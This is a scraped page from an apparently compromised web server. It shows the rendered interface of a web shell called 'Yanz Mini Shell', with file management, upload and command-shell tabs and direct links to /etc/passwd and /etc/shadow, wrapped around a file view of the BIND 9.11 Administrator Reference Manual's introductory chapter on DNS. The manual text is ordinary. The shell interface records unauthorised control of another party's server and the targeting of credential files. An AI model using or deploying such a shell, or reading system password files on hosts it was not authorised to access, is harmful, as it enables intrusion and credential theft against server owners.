Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
hdhubreisen
public_html
gebase
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- - Copyright (C) 2000-2021 Internet Systems Consortium, Inc. ("ISC") - - This Source Code Form is subject to the terms of the Mozilla Public - License, v. 2.0. If a copy of the MPL was not distributed with this - file, You can obtain one at http://mozilla.org/MPL/2.0/. --> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Chapter�1.�Introduction</title> <meta name="generator" content="DocBook XSL Stylesheets V1.79.1"> <link rel="home" href="Bv9ARM.html" title="BIND 9 Administrator Reference Manual"> <link rel="up" href="Bv9ARM.html" title="BIND 9 Administrator Reference Manual"> <link rel="prev" href="Bv9ARM.html" title="BIND 9 Administrator Reference Manual"> <link rel="next" href="Bv9ARM.ch02.html" title="Chapter�2.�BIND Resource Requirements"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <div class="navheader"> <table width="100%" summary="Navigation header"> <tr><th colspan="3" align="center">Chapter�1.�Introduction</th></tr> <tr> <td width="20%" align="left"> <a accesskey="p" href="Bv9ARM.html">Prev</a>�</td> <th width="60%" align="center">�</th> <td width="20%" align="right">�<a accesskey="n" href="Bv9ARM.ch02.html">Next</a> </td> </tr> </table> <hr> </div> <div class="chapter"> <div class="titlepage"><div><div><h1 class="title"> <a name="Bv9ARM.ch01"></a>Chapter�1.�Introduction</h1></div></div></div> <div class="toc"> <p><b>Table of Contents</b></p> <dl class="toc"> <dt><span class="section"><a href="Bv9ARM.ch01.html#doc_scope">Scope of Document</a></span></dt> <dt><span class="section"><a href="Bv9ARM.ch01.html#organization">Organization of This Document</a></span></dt> <dt><span class="section"><a href="Bv9ARM.ch01.html#conventions">Conventions Used in This Document</a></span></dt> <dt><span class="section"><a href="Bv9ARM.ch01.html#dns_overview">The Domain Name System (<acronym class="acronym">DNS</acronym>)</a></span></dt> <dd><dl> <dt><span class="section"><a href="Bv9ARM.ch01.html#dns_fundamentals">DNS Fundamentals</a></span></dt> <dt><span class="section"><a href="Bv9ARM.ch01.html#domain_names">Domains and Domain Names</a></span></dt> <dt><span class="section"><a href="Bv9ARM.ch01.html#zones">Zones</a></span></dt> <dt><span class="section"><a href="Bv9ARM.ch01.html#auth_servers">Authoritative Name Servers</a></span></dt> <dt><span class="section"><a href="Bv9ARM.ch01.html#cache_servers">Caching Name Servers</a></span></dt> <dt><span class="section"><a href="Bv9ARM.ch01.html#multi_role">Name Servers in Multiple Roles</a></span></dt> </dl></dd> </dl> </div> <p> The Internet Domain Name System (<acronym class="acronym">DNS</acronym>) consists of the syntax to specify the names of entities in the Internet in a hierarchical manner, the rules used for delegating authority over names, and the system implementation that actually maps names to Internet addresses. <acronym class="acronym">DNS</acronym> data is maintained in a group of distributed hierarchical databases. </p> <div class="section"> <div class="titlepage"><div><div><h2 class="title" style="clear: both"> <a name="doc_scope"></a>Scope of Document</h2></div></div></div> <p> The Berkeley Internet Name Domain (<acronym class="acronym">BIND</acronym>) implements a domain name server for a number of operating systems. This document provides basic information about the installation and care of the Internet Systems Consortium (<acronym class="acronym">ISC</acronym>) <acronym class="acronym">BIND</acronym> version 9 software package for system administrators. </p> <p>This version of the manual corresponds to BIND version 9.11.</p> </div> <div class="section"> <div class="titlepage"><div><div><h2 class="title" style="clear: both"> <a name="organization"></a>Organization of This Document</h2></div></div></div> <p> In this document, <span class="emphasis"><em>Chapter 1</em></span> introduces the basic <acronym class="acronym">DNS</acronym> and <acronym class="acronym">BIND</acronym> concepts. <span class="emphasis"><em>Chapter 2</em></span> describes resource requirements for running <acronym class="acronym">BIND</acronym> in various environments. Information in <span class="emphasis"><em>Chapter 3</em></span> is <span class="emphasis"><em>task-oriented</em></span> in its presentation and is organized functionally, to aid in the process of installing the <acronym class="acronym">BIND</acronym> 9 software. The task-oriented section is followed by <span class="emphasis"><em>Chapter 4</em></span>, which contains more advanced concepts that the system administrator may need for implementing certain options. <span class="emphasis"><em>Chapter 5</em></span> describes the <acronym class="acronym">BIND</acronym> 9 lightweight resolver. The contents of <span class="emphasis"><em>Chapter 6</em></span> are organized as in a reference manual to aid in the ongoing maintenance of the software. <span class="emphasis"><em>Chapter 7</em></span> addresses security considerations, and <span class="emphasis"><em>Chapter 8</em></span> contains troubleshooting help. The main body of the document is followed by several <span class="emphasis"><em>appendices</em></span> which contain useful reference information, such as a <span class="emphasis"><em>bibliography</em></span> and historic information related to <acronym class="acronym">BIND</acronym> and the Domain Name System. </p> </div> <div class="section"> <div class="titlepage"><div><div><h2 class="title" style="clear: both"> <a name="conventions"></a>Conventions Used in This Document</h2></div></div></div> <p> In this document, we use the following general typographic conventions: </p> <div class="informaltable"><table class="informaltable" border="1"> <colgroup> <col width="3.000in" class="1"> <col width="2.625in" class="2"> </colgroup> <tbody> <tr> <td> <p> <span class="emphasis"><em>To describe:</em></span> </p> </td> <td> <p> <span class="emphasis"><em>We use the style:</em></span> </p> </td> </tr> <tr> <td> <p> a pathname, filename, URL, hostname, mailing list name, or new term or concept </p> </td> <td> <p> <code class="filename">Fixed width</code> </p> </td> </tr> <tr> <td> <p> literal user input </p> </td> <td> <p> <strong class="userinput"><code>Fixed Width Bold</code></strong> </p> </td> </tr> <tr> <td> <p> program output </p> </td> <td> <p> <code class="computeroutput">Fixed Width</code> </p> </td> </tr> </tbody> </table></div> <p> The following conventions are used in descriptions of the <acronym class="acronym">BIND</acronym> configuration file:</p> <div class="informaltable"><table class="informaltable" border="1"> <colgroup> <col width="3.000in" class="1"> <col width="2.625in" class="2"> </colgroup> <tbody> <tr> <td> <p> <span class="emphasis"><em>To describe:</em></span> </p> </td> <td> <p> <span class="emphasis"><em>We use the style:</em></span> </p> </td> </tr> <tr> <td> <p> keywords </p> </td> <td> <p> <code class="literal">Fixed Width</code> </p> </td> </tr> <tr> <td> <p> variables </p> </td> <td> <p> <code class="varname">Fixed Width</code> </p> </td> </tr> <tr> <td> <p> Optional input </p> </td> <td> <p> [<span class="optional">Text is enclosed in square brackets</span>] </p> </td> </tr> </tbody> </table></div> <p> </p> </div> <div class="section"> <div class="titlepage"><div><div><h2 class="title" style="clear: both"> <a name="dns_overview"></a>The Domain Name System (<acronym class="acronym">DNS</acronym>)</h2></div></div></div> <p> This document explains the installation and upkeep of the <acronym class="acronym">BIND</acronym> (Berkeley Internet Name Domain) software package. We begin by reviewing the fundamentals of the Domain Name System (<acronym class="acronym">DNS</acronym>) as they relate to <acronym class="acronym">BIND</acronym>. </p> <div class="section"> <div class="titlepage"><div><div><h3 class="title"> <a name="dns_fundamentals"></a>DNS Fundamentals</h3></div></div></div> <p> The Domain Name System (DNS) is a hierarchical, distributed database. It stores information for mapping Internet host names to IP addresses and vice versa, mail routing information, and other data used by Internet applications. </p> <p> Clients look up information in the DNS by calling a <span class="emphasis"><em>resolver</em></span> library, which sends queries to one or more <span class="emphasis"><em>name servers</em></span> and interprets the responses. The <acronym class="acronym">BIND</acronym> 9 software distribution contains a name server, <span class="command"><strong>named</strong></span>, and a resolver library, <span class="command"><strong>liblwres</strong></span>. </p> </div> <div class="section"> <div class="titlepage"><div><div><h3 class="title"> <a name="domain_names"></a>Domains and Domain Names</h3></div></div></div> <p> The data stored in the DNS is identified by <span class="emphasis"><em>domain names</em></span> that are organized as a tree according to organizational or administrative boundaries. Each node of the tree, called a <span class="emphasis"><em>domain</em></span>, is given a label. The domain name of the node is the concatenation of all the labels on the path from the node to the <span class="emphasis"><em>root</em></span> node. This is represented in written form as a string of labels listed from right to left and separated by dots. A label need only be unique within its parent domain. </p> <p> For example, a domain name for a host at the company <span class="emphasis"><em>Example, Inc.</em></span> could be <code class="literal">ourhost.example.com</code>, where <code class="literal">com</code> is the top level domain to which <code class="literal">ourhost.example.com</code> belongs, <code class="literal">example</code> is a subdomain of <code class="literal">com</code>, and <code class="literal">ourhost</code> is the name of the host. </p> <p> For administrative purposes, the name space is partitioned into areas called <span class="emphasis"><em>zones</em></span>, each starting at a node and extending down to the "leaf" nodes or to nodes where other zones start. The data for each zone is stored in a <span class="emphasis"><em>name server</em></span>, which answers queries about the zone using the <span class="emphasis"><em>DNS protocol</em></span>. </p> <p> The data associated with each domain name is stored in the form of <span class="emphasis"><em>resource records</em></span> (<acronym class="acronym">RR</acronym>s). Some of the supported resource record types are described in <a class="xref" href="Bv9ARM.ch06.html#types_of_resource_records_and_when_to_use_them" title="Types of Resource Records and When to Use Them">the section called “Types of Resource Records and When to Use Them”</a>. </p> <p> For more detailed information about the design of the DNS and the DNS protocol, please refer to the standards documents listed in <a class="xref" href="Bv9ARM.ch11.html#rfcs" title="Requests for Comments (RFCs)">the section called “Requests for Comments (RFCs)”</a>. </p> </div> <div class="section"> <div class="titlepage"><div><div><h3 class="title"> <a name="zones"></a>Zones</h3></div></div></div> <p> To properly operate a name server, it is important to understand the difference between a <span class="emphasis"><em>zone</em></span> and a <span class="emphasis"><em>domain</em></span>. </p> <p> As stated previously, a zone is a point of delegation in the <acronym class="acronym">DNS</acronym> tree. A zone consists of those contiguous parts of the domain tree for which a name server has complete information and over which it has authority. It contains all domain names from a certain point downward in the domain tree except those which are delegated to other zones. A delegation point is marked by one or more <span class="emphasis"><em>NS records</em></span> in the parent zone, which should be matched by equivalent NS records at the root of the delegated zone. </p> <p> For instance, consider the <code class="literal">example.com</code> domain which includes names such as <code class="literal">host.aaa.example.com</code> and <code class="literal">host.bbb.example.com</code> even though the <code class="literal">example.com</code> zone includes only delegations for the <code class="literal">aaa.example.com</code> and <code class="literal">bbb.example.com</code> zones. A zone can map exactly to a single domain, but could also include only part of a domain, the rest of which could be delegated to other name servers. Every name in the <acronym class="acronym">DNS</acronym> tree is a <span class="emphasis"><em>domain</em></span>, even if it is <span class="emphasis"><em>terminal</em></span>, that is, has no <span class="emphasis"><em>subdomains</em></span>. Every subdomain is a domain and every domain except the root is also a subdomain. The terminology is not intuitive and we suggest reading RFCs 1033, 1034, and 1035 to gain a complete understanding of this difficult and subtle topic. </p> <p> Though <acronym class="acronym">BIND</acronym> is called a "domain name server", it deals primarily in terms of zones. The "primary" and "secondary" declarations in the <code class="filename">named.conf</code> file specify zones, not domains. When BIND asks some other site if it is willing to be a secondary server for a <span class="emphasis"><em>domain</em></span>, it is actually asking for secondary service for some collection of <span class="emphasis"><em>zones</em></span>. </p> </div> <div class="section"> <div class="titlepage"><div><div><h3 class="title"> <a name="auth_servers"></a>Authoritative Name Servers</h3></div></div></div> <p> Each zone is served by at least one <span class="emphasis"><em>authoritative name server</em></span>, which contains the complete data for the zone. To make the DNS tolerant of server and network failures, most zones have two or more authoritative servers, on different networks. </p> <p> Responses from authoritative servers have the "authoritative answer" (AA) bit set in the response packets. This makes them easy to identify when debugging DNS configurations using tools like <span class="command"><strong>dig</strong></span> (<a class="xref" href="Bv9ARM.ch03.html#diagnostic_tools" title="Diagnostic Tools">the section called “Diagnostic Tools”</a>). </p> <div class="section"> <div class="titlepage"><div><div><h4 class="title"> <a name="primary_master"></a>The Primary Server</h4></div></div></div> <p> The authoritative server where the main copy of the zone data is maintained is called the <span class="emphasis"><em>primary</em></span> (or <span class="command"><strong>master</strong></span>) server, or simply the <span class="emphasis"><em>primary</em></span>. Typically it loads the zone contents from some local file edited by humans or perhaps generated mechanically from some other local file which is edited by humans. This file is called the <span class="emphasis"><em>zone file</em></span> or <span class="emphasis"><em>master file</em></span>. </p> <p> In some cases, however, the zone file may not be edited by humans at all, but may instead be the result of <span class="emphasis"><em>dynamic update</em></span> operations. </p> </div> <div class="section"> <div class="titlepage"><div><div><h4 class="title"> <a name="slave_server"></a>Secondary Servers</h4></div></div></div> <p> The other authoritative servers, called the <span class="emphasis"><em>secondary</em></span> (or <span class="command"><strong>slave</strong></span>) servers, load the zone contents from another server using a replication process known as a <span class="emphasis"><em>zone transfer</em></span>. Typically the data is transferred directly from the primary master, but it is also possible to transfer it from another secondary. In other words, a secondary server may itself act as a primary to a subordinate secondary server. </p> <p> Periodically, the secondary server must send a refresh query to determine whether the zone contents have been updated. This is done by sending a query for the zone's Start of Authority (SOA) record and checking whether the SERIAL field has been updated; if so, a new transfer request is initiated. The timing of these refresh queries is controlled by the SOA REFRESH and RETRY fields, but can be overridden with the <span class="command"><strong>max-refresh-time</strong></span>, <span class="command"><strong>min-refresh-time</strong></span>, <span class="command"><strong>max-retry-time</strong></span>, and <span class="command"><strong>min-retry-time</strong></span> options. </p> <p> If the zone data cannot be updated within the time specified by the SOA EXPIRE option (up to a hard-coded maximum of 24 weeks), the secondary zone expires and no longer responds to queries. </p> </div> <div class="section"> <div class="titlepage"><div><div><h4 class="title"> <a name="stealth_server"></a>Stealth Servers</h4></div></div></div> <p> Usually, all of the zone's authoritative servers are listed in NS records in the parent zone. These NS records constitute a <span class="emphasis"><em>delegation</em></span> of the zone from the parent. The authoritative servers are also listed in the zone file itself, at the <span class="emphasis"><em>top level</em></span> or <span class="emphasis"><em>apex</em></span> of the zone. Servers that are not in the parent's NS delegation can be listed in the zone's top-level NS records, but servers that are not present at the zone's top level cannot be listed in the parent's delegation. </p> <p> A <span class="emphasis"><em>stealth server</em></span> is a server that is authoritative for a zone but is not listed in that zone's NS records. Stealth servers can be used for keeping a local copy of a zone, to speed up access to the zone's records, or to make sure that the zone is available even if all the "official" servers for the zone are inaccessible. </p> <p> A configuration where the primary server itself is a stealth server is often referred to as a "hidden primary" configuration. One use for this configuration is when the primary is behind a firewall and is therefore unable to communicate directly with the outside world. </p> </div> </div> <div class="section"> <div class="titlepage"><div><div><h3 class="title"> <a name="cache_servers"></a>Caching Name Servers</h3></div></div></div> <p> The resolver libraries provided by most operating systems are <span class="emphasis"><em>stub resolvers</em></span>, meaning that they are not capable of performing the full DNS resolution process by themselves by talking directly to the authoritative servers. Instead, they rely on a local name server to perform the resolution on their behalf. Such a server is called a <span class="emphasis"><em>recursive</em></span> name server; it performs <span class="emphasis"><em>recursive lookups</em></span> for local clients. </p> <p> To improve performance, recursive servers cache the results of the lookups they perform. Since the processes of recursion and caching are intimately connected, the terms <span class="emphasis"><em>recursive server</em></span> and <span class="emphasis"><em>caching server</em></span> are often used synonymously. </p> <p> The length of time for which a record may be retained in the cache of a caching name server is controlled by the Time-To-Live (TTL) field associated with each resource record. </p> <div class="section"> <div class="titlepage"><div><div><h4 class="title"> <a name="forwarder"></a>Forwarding</h4></div></div></div> <p> Even a caching name server does not necessarily perform the complete recursive lookup itself. Instead, it can <span class="emphasis"><em>forward</em></span> some or all of the queries that it cannot satisfy from its cache to another caching name server, commonly referred to as a <span class="emphasis"><em>forwarder</em></span>. </p> <p> Forwarders are typically used when an administrator does not wish for all the servers at a given site to interact directly with the rest of the Internet. For example, a common scenario is when multiple internal DNS servers are behind an Internet firewall. Servers behind the firewall forward their requests to the server with external access, which queries Internet DNS servers on the internal servers' behalf. </p> <p> Another scenario (largely now superseded by Response Policy Zones) is to send queries first to a custom server for RBL processing before forwarding them to the wider Internet. </p> <p> There may be one or more forwarders in a given setup. The order in which the forwarders are listed in <code class="filename">named.conf</code> does not determine the sequence in which they are queried; rather, <span class="command"><strong>named</strong></span> uses the response times from previous queries to select the server that is likely to respond the most quickly. A server that has not yet been queried is given an initial small random response time to ensure that it is tried at least once. Dynamic adjustment of the recorded response times ensures that all forwarders are queried, even those with slower response times. This permits changes in behavior based on server responsiveness. </p> </div> </div> <div class="section"> <div class="titlepage"><div><div><h3 class="title"> <a name="multi_role"></a>Name Servers in Multiple Roles</h3></div></div></div> <p> The <acronym class="acronym">BIND</acronym> name server can simultaneously act as a primary for some zones, a secondary for other zones, and a caching (recursive) server for a set of local clients. </p> <p> However, since the functions of authoritative name service and caching/recursive name service are logically separate, it is often advantageous to run them on separate server machines. A server that only provides authoritative name service (an <span class="emphasis"><em>authoritative-only</em></span> server) can run with recursion disabled, improving reliability and security. A server that is not authoritative for any zones and only provides recursive service to local clients (a <span class="emphasis"><em>caching-only</em></span> server) does not need to be reachable from the Internet at large and can be placed inside a firewall. </p> </div> </div> </div> <div class="navfooter"> <hr> <table width="100%" summary="Navigation footer"> <tr> <td width="40%" align="left"> <a accesskey="p" href="Bv9ARM.html">Prev</a>�</td> <td width="20%" align="center">�</td> <td width="40%" align="right">�<a accesskey="n" href="Bv9ARM.ch02.html">Next</a> </td> </tr> <tr> <td width="40%" align="left" valign="top">BIND 9 Administrator Reference Manual�</td> <td width="20%" align="center"><a accesskey="h" href="Bv9ARM.html">Home</a></td> <td width="40%" align="right" valign="top">�Chapter�2.�<acronym class="acronym">BIND</acronym> Resource Requirements</td> </tr> </table> </div> <p xmlns:db="http://docbook.org/ns/docbook" style="text-align: center;">BIND 9.11.36 (Extended Support Version)</p> </body> </html>
Free Space : 62673326080 Byte